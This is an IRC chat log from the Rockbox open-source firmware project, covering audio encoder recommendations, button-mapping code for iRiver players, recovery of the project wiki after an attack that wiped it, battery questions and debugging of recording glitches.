| 20:15:34 | webguest58 | goa:v0.95b3? |
| 20:15:55 | webguest58 | for the version |
| 20:15:56 | goa | webguest58: alway use the latest |
| 20:16:21 | webguest58 | is it beta |
| 20:16:30 | goa | yes that version is best |
| 20:16:44 | webguest58 | ok thanks I downloading |
| 20:16:44 | goa | it's always marked beta for legal reasons.. |
| 20:17:10 | hshah | coz if it blows up a users pc the authors aren't to blame :p |
| 20:17:19 | webguest58 | what is CDRDAO? |
| 20:17:22 | webguest58 | package |
| 20:17:34 | Dma-Sc | about wps image handling, is height 0 moved when displaying the statusbar? |
| 20:17:42 | goa | webguest58: you need it for burning CDs.. |
| 20:17:51 | webguest58 | I choose with or without |
| 20:18:05 | goa | if you plan to burn cds.. :) |
| 20:18:08 | webguest58 | I use nero for burning |
| 20:18:17 | goa | it's small and dosn't hurt |
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| 20:21:31 | goa | webguest58: do you have intel or amd? |
| 20:21:50 | webguest58 | Intel, why? |
| 20:22:37 | goa | webguest58: ok, use this version of oggenc, it currently provides the highest quality possible with vorbis http://www.rarewares.org/files/ogg/oggenc2.6-aoTuVb4P4.zip |
| 20:22:58 | webguest58 | ok |
| 20:26:15 | goa | if you want to learn a bit more, http://www.hydrogenaudio.org/forums/index.php?showtopic=15049 |
| 20:26:32 | webguest58 | thanks |
| 20:28:37 | webguest58 | compressed or uncompresed for ogg? |
| 20:28:50 | goa | compressed |
| 20:28:59 | webguest58 | ok |
| 20:29:02 | goa | did you follow the setup guide? |
| 20:29:13 | webguest58 | in the fly :) |
| 20:29:16 | goa | ;p |
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| 20:44:02 | linuxstb | rasher: PortalPlayer is up to date now from my own browser cache of my last edit |
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| 20:44:57 | webguest58 | goa: I just ripped one CD in OGG thanks, have on link for Mpeg.exe if I will need? |
| 20:45:29 | goa | what should mpeg.exe do/be? |
| 20:45:43 | rasher | linuxstb: okay, updating |
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| 20:45:55 | webguest58 | for ripping like the ogg.exe you gave me |
| 20:46:11 | goa | ah, for mp3 encoding? |
| 20:46:12 | goa | sure |
| 20:46:34 | webguest58 | yes |
| 20:47:13 | linuxstb | rasher: Should I create IriverStatus from yahoo's cache? |
| 20:47:33 | rasher | yeah, go ahead.. I'm not touching more Wikipages tonight I think |
| 20:47:51 | linuxstb | OK. Your WikiRescue page is broken at the moment. |
| 20:48:01 | rasher | figures |
| 20:48:07 | rasher | uploading the datafile failed |
| 20:48:32 | * | rasher tries to persuade ncftp to not use passive mode |
| 20:48:43 | Dma-Sc | how to had requests to the wps request list? |
| 20:50:07 | Dma-Sc | ah registering to the wiki then editing it it seems |
| 20:50:09 | Dma-Sc | sorry ;) |
| 20:50:20 | rasher | much better |
| 20:51:17 | goa | webguest58: use this one http://audio.ciara.us/rarewares/lame3.97b1.zip use -V 2 −−vbr-new, more information http://www.hydrogenaudio.org/forums/index.php?showtopic=28124 |
| 20:52:25 | preglow | hmm |
| 20:52:41 | preglow | what button combinations should the pitch change menu on irivers use? |
| 20:53:09 | Dma-Sc | argh, the wiki doesn't accept my email adress |
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| 20:53:24 | rasher | Yeah, there's some problem with registring, I think |
| 20:53:55 | rasher | Zagor, Bagder_: Wiki registration not working |
| 20:54:37 | amiconn | preglow: If you're going to do it similar to archos, this would be a combo |
| 20:55:04 | webguest58 | goa: thanks |
| 20:55:05 | amiconn | On archos, it's holding ON for a short while, then up/down pitches up or down in 0.1% steps |
| 20:55:40 | amiconn | left/right pitches down/up by 2% *temporarily*, i.e. as long as you hold the button, then snaps back to what it was before |
| 20:55:58 | amiconn | ON on archos equals PLAY on iriver |
| 20:56:14 | amiconn | ...which is by coincidence the only button allowing for combos |
| 20:56:21 | preglow | amiconn: i tried just enabling the code for irivers as well, but some button defines aren't there |
| 20:56:32 | * | amiconn checks |
| 20:56:40 | preglow | i believe it's the ON define |
| 20:58:02 | amiconn | ON should be defined |
| 20:58:14 | Dma-Sc | by the way gapless isn't perfect atm on iriver, is it? (just making sure i can trust my ears ;) |
| 20:58:24 | amiconn | However, the pitch screen also uses BUTTON_PLAY, and that's undefined on iriver |
| 20:58:32 | preglow | that's what i was thinking of |
| 20:58:56 | preglow | i take it aliasing BUTTON_PLAY to BUTTON_ON is a big no-no ? |
| 20:58:57 | amiconn | Play on archos is used to pause the track temporarily |
| 20:59:07 | amiconn | That wouldn't work at all |
| 20:59:24 | amiconn | You would get duplicate case: values |
| 20:59:47 | amiconn | I would suggest to use Select instead of Play in the pitch screen for iriver |
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| 21:00:21 | preglow | Dma-Sc: no it's not |
| 21:00:32 | Dma-Sc | have you guys thought about configurable shortcuts already? |
| 21:00:39 | preglow | Dma-Sc: yes, and it's a lot of work |
| 21:00:49 | Dma-Sc | ah ok |
| 21:00:50 | preglow | so probably not going to happen very soon |
| 21:00:51 | amiconn | That'd mean to put some #defines for pitch buttons |
| 21:01:04 | amiconn | #if CONFIG_KEYPAD == RECORDER_PAD |
| 21:01:14 | amiconn | #define PITCH_PAUSE BUTTON_PLAY |
| 21:01:25 | Dma-Sc | i'd love to be able to switch lcd direction with a shortcut myself ;) |
| 21:01:52 | amiconn | #elif CONFIG_KEYPAD == IRIVER_H100_PAD |
| 21:02:05 | amiconn | #define PITCH_PAUSE BUTTON_SELECT |
| 21:02:07 | amiconn | #endif |
| 21:02:15 | amiconn | All others should work as-is |
| 21:02:19 | preglow | yup, thanks |
| 21:02:23 | preglow | i'll try fixing it |
| 21:02:30 | preglow | should just be a simple matter of enabling the resampler |
| 21:02:58 | rasher | Dma-Sc: Make a config file with only "flip display: on" in it |
| 21:03:21 | rasher | Loading a config file can be done pretty quickly |
| 21:03:24 | amiconn | preglow: Didn't you say once that stereo width would be simple as well? |
| 21:03:58 | rasher | amiconn: Going to try fixing the recording glitches, or release now-ish and fix after? |
| 21:06:03 | preglow | amiconn: why, it would |
| 21:06:09 | preglow | amiconn: it's about time that's fixed |
| 21:07:08 | preglow | i'll see about it tonight, right now i need to be social for an hour |
| 21:07:26 | preglow | amiconn: mas allows you to set left and right gain, and that's how you implement those there, yes? |
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| 21:07:47 | Dma-Sc | rasher : having a fast menu entry for display flipping would be better ;) |
| 21:07:58 | webguest58 | goa: thanks for your help all works c you later |
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| 21:12:18 | amiconn | preglow: The mas has a digital stereo matrix in the dsp part. 4 gain values in the range -1...+1 (LL, RR, LR, RL) |
| 21:12:22 | linuxstb | rasher: IriverStatus is now restored from Yahoo's cached version. |
| 21:12:42 | rasher | Nice |
| 21:13:05 | linuxstb | Converting html back to wikitext isn't fun. |
| 21:13:24 | rasher | It very much isn't, no |
| 21:13:27 | goa | how do ppl do their wps `screenshots'? |
| 21:13:47 | rasher | goa: http://www.rockbox.org/twiki/bin/view/Main/ScreenDump |
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| 21:13:58 | goa | oh, thanks! |
| 21:14:20 | linuxstb | How did we live without the Wiki for three days? |
| 21:14:27 | rasher | Denial. |
| 21:14:40 | linuxstb | We almost needed to answer questions. |
| 21:15:57 | linuxstb | Has the Wiki's CSS file been lost? |
| 21:16:13 | linuxstb | Or is the new installation using the wrong one? |
| 21:16:38 | Dma-Sc | is it possible to test wps (with pictures) in the simulator? |
| 21:16:43 | rasher | The latter I think |
| 21:16:55 | rasher | I don't like the faint colours when showing diffs |
| 21:17:00 | rasher | Dma-Sc: I believe so, yes |
| 21:18:03 | Dma-Sc | simulator builds can't be downloaded though it seems |
| 21:19:07 | rasher | That's correct |
| 21:20:04 | rasher | LinusN: do you know anything about the wiki? |
| 21:21:46 | amiconn | The wiki tables look totally different now... |
| 21:22:53 | rasher | I'm mostly in agreement with that change |
| 21:23:01 | amiconn | The VoiceFiles attachments are there, but their versions probably don't match what's stated in the tables |
| 21:23:22 | rasher | That's quite likely |
| 21:23:49 | rasher | "16 Jul 2005" |
| 21:23:56 | amiconn | (and the language names with non-ascii chars have strange chars... |
| 21:24:08 | rasher | Ah yes, I messed up some utf8 |
| 21:24:10 | amiconn | Welcome to UTF-8 oddity |
| 21:24:29 | rasher | I think my server was serving txt as iso8859-1 |
| 21:24:32 | rasher | didn't catch it |
| 21:24:43 | solexx_ | concerning unicode http://kitenet.net/~joey/blog/entry/wanted_on_a_bumper_sticker-2005-09-17-17-41.html |
| 21:24:46 | solexx_ | :) |
| 21:25:09 | amiconn | The old table design was way better |
| 21:25:24 | rasher | solexx_: Try http://www.cafepress.com/nucleartacos/317769 these |
| 21:25:25 | amiconn | One could immediately see which cells are joined |
| 21:25:43 | rasher | It needs a bit of tweaking, but I like the alternating colours |
| 21:25:51 | amiconn | ...which is pretty much a requirement for some of the tables |
| 21:26:16 | solexx_ | rasher: saw them too. reading planet debian, aren't you? |
| 21:26:24 | rasher | Oh sure |
| 21:26:31 | amiconn | The cvs voice files are outdated anyway... think I should make new ones |
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| 21:34:10 | goa | sorry if that's a stupid question, how do i create a new empty playlist and do not have to start with the dynamic one? |
| 21:34:30 | LinusN | play a file |
| 21:34:55 | Dma-Sc | are pictures in wps displayed with "transparency" or is just the text displayed over those? |
| 21:35:13 | goa | LinusN: then i have all files of that directory added automatically? |
| 21:35:28 | goa | or at least it seems so to me :/ |
| 21:35:41 | LinusN | true |
| 21:35:42 | rasher | goa: hold down the joystick, go playlist > insert |
| 21:35:56 | rasher | that'll give you a playlist of just that file |
| 21:36:26 | goa | mh, i must be stupid, moment.. |
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| 21:38:58 | goa | ah sorry, got the difference.. |
| 21:41:19 | goa | or not, i'm still not sure how i can start a new one if i'm in an existing one :/ |
| 21:41:41 | rasher | stop, then start |
| 21:44:29 | goa | ah ok, sorry ;p |
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| 21:45:38 | Dan|2 | there |
| 21:45:39 | Dan|2 | lol |
| 21:46:59 | amiconn | LinusN: Did you read about the result of my no-peakmeter test? |
| 21:47:51 | linuxstb | Ah, someone has dissected a 4G ipod: http://ipodlinux.org/4g_PCB_Images |
| 21:52:25 | LinusN | amiconn: no |
| 21:53:31 | amiconn | [19:25:23] <amiconn> Hmm, more MAS weirdness. Even w/o any peakmeter activity, today's test recording shifted by 1 bit after ~6 hours :( |
| 21:54:44 | LinusN | ugh |
| 21:55:16 | amiconn | It's not a voltage dip, it's not i2c activity... what could it be??? |
| 21:55:45 | amiconn | This is getting MASsively annoying |
| 21:56:57 | LinusN | indeed |
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| 22:01:52 | Dma-Sc | bye |
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| 22:04:01 | goa | do i need something special to play rock box video files? |
| 22:04:57 | goa | or dosen't it work on iriver? |
| 22:05:23 | rasher | It doesn't work on iriver yet |
| 22:05:27 | goa | ok |
| 22:06:25 | LinusN | i changed the looks of the wiki tables, are they ok now? |
| 22:06:41 | preglow | oh yes |
| 22:06:47 | preglow | i thought they were decent as they were as well, but... |
| 22:06:58 | rasher | I liked the alternating colours |
| 22:07:10 | LinusN | you did? |
| 22:07:25 | rasher | yup |
| 22:07:25 | t0mas | I like the way they are now... |
| 22:07:31 | t0mas | is this your change Linus? |
| 22:07:34 | t0mas | or the old version? |
| 22:07:45 | preglow | me too |
| 22:07:48 | preglow | makes the table clearer |
| 22:07:48 | LinusN | this is how they looked before the attack |
| 22:07:54 | t0mas | this is ok |
| 22:10:41 | rasher | I don't have any strong feelings either way, but the colour of the diffs is/was horrible |
| 22:10:51 | rasher | is. |
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| 22:13:34 | rasher | LinusN: registration on the wiki is not possible, it seems |
| 22:13:58 | hshah | what do u mean that rasher - sorry ive just come in mid conv |
| 22:14:28 | rasher | Registring a new user |
| 22:14:41 | rasher | at least, it wasn't a few hours ago |
| 22:14:45 | hshah | what u mean? like for editing pages? |
| 22:14:46 | fuzzie | registering a new user dies out for me with invalid email address errors |
| 22:14:54 | hshah | oh rite |
| 22:14:56 | fuzzie | whichever address i feed it |
| 22:14:59 | hshah | thats what u mean |
| 22:23:33 | LinusN | hmmm, what were the colors of the diffs? |
| 22:24:47 | | Quit ze (Read error: 110 (Connection timed out)) |
| 22:27:02 | rasher | Brighter red/green |
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| 22:29:03 | * | rasher just brought back a random page |
| 22:29:03 | LinusN | like that? |
| 22:29:13 | rasher | hm.. let me colourpick |
| 22:29:39 | LinusN | ah you have a cached diff? |
| 22:29:58 | rasher | Not that I know of |
| 22:30:11 | rasher | I was just finding a colourchoose dialog to experiment |
| 22:30:27 | rasher | #25E914 perhaps |
| 22:31:38 | rasher | #E81412 for the red |
| 22:32:08 | * | amiconn finally ordered the complementing Natural Voices he wanted to order for long... |
| 22:32:20 | LinusN | like that? |
| 22:33:33 | rasher | Hm.. that was one of the colours... and not really the one I wanted changed |
| 22:33:39 | rasher | the green one |
| 22:33:42 | rasher | the red is nice |
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| 22:34:10 | LinusN | now? |
| 22:34:28 | rasher | oh yes |
| 22:34:53 | rasher | I don't know about the first green you changed though.. *shrug* |
| 22:35:19 | rasher | but the red and green are way nicer |
| 22:35:40 | LinusN | now? |
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| 22:36:41 | rasher | ye! |
| 22:38:09 | Dan|2 | i got a nasty rash on my ankle |
| 22:38:17 | Dan|2 | just though you guys should know |
| 22:38:58 | * | LinusN writes it down |
| 22:39:06 | Dan|2 | lol |
| 22:40:34 | ender` | does the .rockbox\docs\battery-faq.txt apply to iRivers, or is it just for the Archos players? |
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| 22:42:25 | LinusN | only archos |
| 22:42:59 | LinusN | or rather, mostly archos |
| 22:43:59 | ender` | thanks. what about iRivers - i'm mostly interestedi in parts that deal with charging/discharging the battery - is it OK if i leave it on the charger after the battery is charged? |
| 22:44:08 | LinusN | yes |
| 22:45:26 | LinusN | gotta get some sleep |
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| 22:45:30 | LinusN | cu tomorrow |
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| 22:45:58 | ender` | what about completely discharging the battery? does it harm the battery if i leave rockbox running until the player powers off (usually, it won't want to power on again until i connect hte charger then)? |
| 22:48:51 | odd | yes, that's bad for li-ion cells |
| 22:49:10 | odd | although it is sometimes occasionally necessary to do so in order for the battery level indicator to be accurate |
| 22:50:09 | ender` | it happened about 2 times to me - i fell asleep while listening to music, and when i woke up, the player was off |
| 22:51:06 | amiconn | It shouldn't hrm the battery as there is a protective circuit that prevents to deep discharge |
| 22:51:23 | amiconn | *harm; *too |
| 22:51:31 | ender` | is that what shuts the player off? or is it rockbox? |
| 22:51:45 | amiconn | Rockbox doesn't power off prematurely |
| 22:53:41 | amiconn | rasher: Hmm, something is wrong with the fileattachments, and I don't know how to repair it. |
| 22:54:11 | amiconn | Older attachments seem to be there, however, they aren't listed when clicking "attach" |
| 22:54:23 | rasher | strange |
| 22:54:37 | amiconn | http://www.rockbox.org/twiki/bin/view/Main/VoiceFiles |
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| 22:54:46 | rasher | I guess we have to wait for Zagor/Bagder/LinusN |
| 22:55:17 | amiconn | I want to upload shiny new voice files |
| 22:55:34 | amiconn | ...but they'll get revision 1 if I do so now |
| 22:55:34 | rasher | UartBoot "fixed" |
| 22:56:17 | rasher | Guess we should hold off uploading attachments |
| 22:56:31 | amiconn | :/ |
| 22:57:35 | * | amiconn hopes that NextUp delivers quickly... |
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| 23:06:48 | rasher | Bagder: around? |
| 23:06:56 | Bagder | kind of |
| 23:07:20 | rasher | Ah.. few wiki problems.. |
| 23:07:29 | Bagder | I noticed |
| 23:07:32 | rasher | 1. Attachments are there.. but not if you click attach |
| 23:07:36 | rasher | 2. Can't register a new user |
| 23:07:44 | Bagder | uh |
| 23:08:02 | Bagder | ok, I'll need to sort out a few other things first then I'll see |
| 23:08:35 | rasher | sure, just wanted to make sure it got to the right ears.. or eyes. |
| 23:09:34 | Bagder | rockbox-sf seems to run too now |
| 23:14:00 | * | amiconn thinks about a rather subtle detail of the MAS bitshifting |
| 23:15:26 | amiconn | A change in the bitshifting always occurs at a frame boundary (derived from the fact that undoing the shift restores the recording completely, and since I have no way to find a change in shift in-frame, I used frame boundaries all the time) |
| 23:16:02 | amiconn | However, a frame boundary doesn't necessarily match a DMA buffer boundary |
| 23:16:52 | amiconn | Puzzling... |
| 23:17:27 | Bagder | "PayPal Notification: Temporary Hold Pending Investigation" |
| 23:17:48 | Bagder | just what I needed, getting target in some paypal scam |
| 23:18:07 | rasher | Hrm, is this real, or spam? |
| 23:18:11 | Bagder | it is real |
| 23:18:20 | Bagder | I've got several USD1 donations lately |
| 23:18:28 | rasher | Oh jeez |
| 23:18:29 | Bagder | very strange ones |
| 23:18:46 | rasher | How much is in it? |
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| 23:18:58 | rasher | CrossCompiler page updated |
| 23:19:05 | amiconn | Still, the transfer routine influences the probability of the bitshift(s) |
| 23:19:16 | rasher | Like, do you empty it regularly, or only when you need some of it? |
| 23:19:21 | Bagder | they only hold these particular payments, not the entire account |
| 23:19:29 | rasher | ah |
| 23:19:36 | Bagder | I extract money from it on regular basis |
| 23:19:53 | rasher | can't end up too bad then, I guess |
| 23:20:05 | Bagder | nah, just... weird |
| 23:20:17 | Bagder | what's the gain for whom? |
| 23:20:25 | * | amiconn really needs to write a *complete* frame analyser, including crc calculation |
| 23:20:37 | rasher | 66 pages left to go.. |
| 23:20:39 | * | rasher sighs |
| 23:21:23 | Bagder | hehe, the rockbox list admin email address got subscribed |
| 23:21:40 | Bagder | no wonder I got duplicates |
| 23:24:58 | rasher | http://www.rockbox.org/twiki/bin/view/Main/MoreRecentChanges whee |
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| 23:31:07 | FlameGrilled | hi all... |
| 23:31:58 | FlameGrilled | dunno who is around, who's awake or what... but i came along to say hi, and say sorry to hear about that idiotic incident.. the wipeout you lot suffered... |
| 23:32:17 | Bagder | thanks |
| 23:32:22 | Bagder | been painful |
| 23:32:44 | FlameGrilled | i know, had similar losses myself... |
| 23:33:24 | FlameGrilled | seriously, i needn't say what i think of those responsible (it's pretty common feeling by all at MisticRiver, and other RB friendly places).. |
| 23:34:01 | FlameGrilled | but let's hope..., they get what they deserve, and no loss or setup on the long-term affects you lot.. |
| 23:35:17 | FlameGrilled | well, i just wanted to extend the sympathy from all at MR, and wish well to the project regardless.. |
| 23:35:37 | FlameGrilled | see you around, when i pop by next .. on a better reason hopefully :) |
| 23:35:45 | Bagder | :-) |
| 23:35:54 | rasher | There's no point in hoping they get what they deserve |
| 23:36:00 | rasher | Except by means of karma perhaps |
| 23:36:23 | rasher | Tracking the guilty down is pretty much impossible |
| 23:36:26 | FlameGrilled | well, that's kinda what i meant - hopefully they'll get a karmic backlash.. |
| 23:36:35 | rasher | Ah |
| 23:36:53 | rasher | The wiki will rise again! |
| 23:37:00 | Bagder | ah, I'll yell in their direction |
| 23:37:01 | rasher | half of the pages are already back |
| 23:37:04 | Bagder | that should teach them! |
| 23:37:06 | FlameGrilled | i know about the tracking side.... , somewhat, and yeah.. it's a tough one if you aint prepared to go to darker motives.. |
| 23:37:35 | FlameGrilled | good to hear, well... feel free to drop me a note at MR if i can help at all, dunno how.. but the offer is there.. |
| 23:38:49 | | Quit einhirn ("Miranda IM! Smaller, Faster, Easier. http://miranda-im.org") |
| 23:38:57 | FlameGrilled | well, the cat's gonna leggit..., see you lot around.. and don't let the idiots of the world win eh..? ;) |
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| 23:48:14 | * | Zagor looks at the twiki registration problem |
| 23:48:42 | Bagder | goodie |
| 23:48:53 | * | HCl yawns |
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